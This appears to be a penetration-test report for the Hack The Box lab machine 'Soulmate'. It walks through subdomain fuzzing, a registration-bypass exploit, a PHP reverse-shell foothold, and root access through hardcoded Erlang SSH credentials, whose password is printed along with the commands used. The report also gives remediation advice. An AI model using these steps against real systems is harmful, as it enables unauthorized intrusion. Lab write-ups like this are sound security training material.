

HACK THE BOX

Penetration Test Report

Target: Soulmate (10.129.16.177)

Candidate Name: Hacker

Date: February 3, 2026

Version: 1.0

CONFIDENTIAL

Contents

1	Statement of Confidentiality	2
2	Engagement Contacts	2
3	Executive Summary	3
3.1	3.1 Approach	3
3.2	3.2 Scope	3
3.3	3.3 Assessment Overview	3
4	Network Penetration Test Summary	4
4.1	4.1 Summary of Findings	4
5	Internal Network Compromise Walkthrough	4
5.1	5.1 Reconnaissance & Service Discovery	4
5.2	5.2 Exploitation (Initial Access)	4
5.3	5.3 Privilege Escalation	4
6	Remediation Summary	6
6.1	6.1 Short Term	6
6.2	6.2 Long Term	6
7	Appendix	7
7.1	A.1 Exploited Hosts	7
7.2	A.2 Flags Recovered	7

1 STATEMENT OF CONFIDENTIALITY

This report contains confidential and proprietary information regarding the security posture of the target system "Soulmate". The information contained herein is intended solely for the use of the client. Unauthorized disclosure, distribution, or copying of this report is strictly prohibited.

2 ENGAGEMENT CONTACTS

Name	Role	Email
Hacker	Lead Pentester	hacker@htb.local
Soulmate Admin	System Owner	admin@soulmate.htb

3 EXECUTIVE SUMMARY

3.1 3.1 Approach

This assessment was conducted as a "Black Box" penetration test. No prior knowledge of the internal infrastructure or credentials was provided. The methodology followed standard phases: Reconnaissance, Enumeration, Exploitation, Privilege Escalation, and Documentation.

3.2 3.2 Scope

The scope of this engagement was limited to the single host IP:

- **IP Address:** 10.129.16.177
- **Hostname:** soulmate.htb

3.3 3.3 Assessment Overview

The assessment resulted in a complete compromise of the target system.

- **Critical Vulnerability:** The 'ftp' subdomain hosted a vulnerable web application allowing unauthenticated user registration and Remote Code Execution (RCE).
- **Critical Vulnerability:** Hardcoded credentials were found in a system administration script ('start.escript'), leading to full Root access via a local service.

4 NETWORK PENETRATION TEST SUMMARY

4.1 Summary of Findings

Finding	Description	Severity
FIND-01	RCE via User Registration Bypass	Critical
FIND-02	Hardcoded Credentials in Erlang Script	Critical
FIND-03	Insecure Service Permissions (Root SSH)	High

5 INTERNAL NETWORK COMPROMISE WALKTHROUGH

5.1 Reconnaissance & Service Discovery

Initial scanning was performed using Nmap. Two ports were identified:

- Port 22 (SSH)
- Port 80 (HTTP)

Subdomain enumeration using 'ffuf' revealed a critical virtual host:

```
$ ffuf -w subdomains.txt -u http://soulmate.htb -H "Host: FUZZ.soulmate.htb"
> ftp [Status: 200, Size: 1024]
```

5.2 Exploitation (Initial Access)

The 'ftp.soulmate.htb' subdomain hosted a custom application vulnerable to logical bypass. Using the exploit tool 'crush.py', we registered a new user 'hacker' bypassing standard restrictions.

```
$ python3 crush.py --target ftp.soulmate.htb --exploit --new-user hacker
[+] User created successfully.
```

This access allowed the upload of a PHP reverse shell, establishing a foothold as the 'www-data' user.

5.3 Privilege Escalation

Post-exploitation enumeration identified a custom Erlang process running as root:

```
root 1090 ... /usr/local/lib/erlang_login/start.escript -sname ssh_runner
```

Reading the source code of 'start.escript' revealed hardcoded credentials for a local SSH service listening on port 2222:

Vulnerable Code Snippet

```
{user_passwords, [{"ben", "HouseH0ldings998"}]}
```

Connecting to this local service granted root access:

```
www-data@soulmate:/$ ssh ben@127.0.0.1 -p 2222
Password: HouseH0ldings998
...
(ssh_runner@soulmate)1> os:cmd("id").
"uid=0(root) gid=0(root)"
```

6 REMEDIATION SUMMARY

6.1 6.1 Short Term

- **Patch Web App:** Apply security updates to the FTP web interface to prevent arbitrary user creation.
- **Remove Secrets:** Delete the hardcoded password ("HouseH0ldings998") from 'start.escript'.

6.2 6.2 Long Term

- **Secrets Management:** Implement a secure vault for application secrets.
- **Principle of Least Privilege:** Ensure internal services (like the Erlang SSH listener) run as a dedicated, low-privilege user, not root.

7 APPENDIX

7.1 A.1 Exploited Hosts

Host	IP	Method
soulmate.htb	10.129.16.177	Web Exploitation / Erlang PrivEsc

7.2 A.2 Flags Recovered

The following proofs of compromise were recovered:

Proofs

User Flag: /home/ben/user.txt

Root Flag: /root/root.txt